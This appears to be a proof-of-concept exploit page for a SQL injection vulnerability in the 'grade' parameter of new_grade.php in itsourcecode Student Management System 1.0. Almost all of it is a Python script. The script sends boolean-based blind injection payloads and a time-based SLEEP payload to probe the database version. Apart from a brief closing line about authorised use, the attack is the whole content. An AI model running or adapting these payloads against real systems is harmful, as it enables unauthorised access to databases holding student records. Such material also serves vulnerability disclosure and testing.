CVE-2025-14337 - itsourcecode学生管理系统new_grade.php SQL注入漏洞

# CVE-2025-14337 SQL Injection PoC # Target: itsourcecode Student Management System 1.0 # Endpoint: /new_grade.php # Parameter: grade import requests import sys target_url = "http://target.com/new_grade.php" # Basic SQL Injection Test - Boolean Based Blind Injection def test_sql_injection(): """Test for SQL injection vulnerability in grade parameter""" # Normal request normal_payload = { "grade": "A" } # True condition - should return normal response true_payload = { "grade": "A' AND 1=1 -- -" } # False condition - should return different response false_payload = { "grade": "A' AND 1=2 -- -" } try: print("[+] Testing SQL Injection vulnerability...") # Send requests resp_normal = requests.post(target_url, data=normal_payload, timeout=10) resp_true = requests.post(target_url, data=true_payload, timeout=10) resp_false = requests.post(target_url, data=false_payload, timeout=10) # Compare responses to confirm vulnerability if resp_true.text != resp_false.text: print("[+] VULNERABLE! Boolean-based blind SQL injection confirmed") print(f"[+] True condition response length: {len(resp_true.text)}") print(f"[+] False condition response length: {len(resp_false.text)}") return True else: print("[-] Not vulnerable or testing failed") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Database enumeration using blind injection def extract_database_version(): """Extract MySQL version using time-based blind injection""" payload = { "grade": f"A'; SELECT SLEEP(5) AND (SELECT SUBSTRING(@@version,1,1)='5') -- -" } try: print("[+] Extracting database version...") response = requests.post(target_url, data=payload, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Time-based blind injection works!") print("[+] Database appears to be MySQL 5.x") else: print("[-] Time-based injection test completed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-14337 SQL Injection PoC") print("Target: itsourcecode Student Management System 1.0") print("=" * 60) if test_sql_injection(): extract_database_version() print("\n[!] Please use responsibly and with authorization")